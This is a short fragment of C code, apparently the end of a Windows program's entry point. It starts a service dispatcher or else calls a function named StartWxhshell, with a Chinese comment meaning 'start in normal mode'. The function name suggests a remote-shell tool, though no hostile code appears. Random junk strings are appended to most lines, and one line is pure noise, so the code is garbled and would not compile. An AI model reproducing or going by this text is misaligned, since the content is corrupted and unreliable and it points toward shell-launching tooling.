StartServiceCtrlDispatcher(DispatchTable); )<_:%oB
else I1!m;5-c9k
// 普通方式启动 HQV#8G#B
StartWxhshell(lpCmdLine); E*8).'S%k
4?l:.\fB:
return 0; ;%4N@Z
}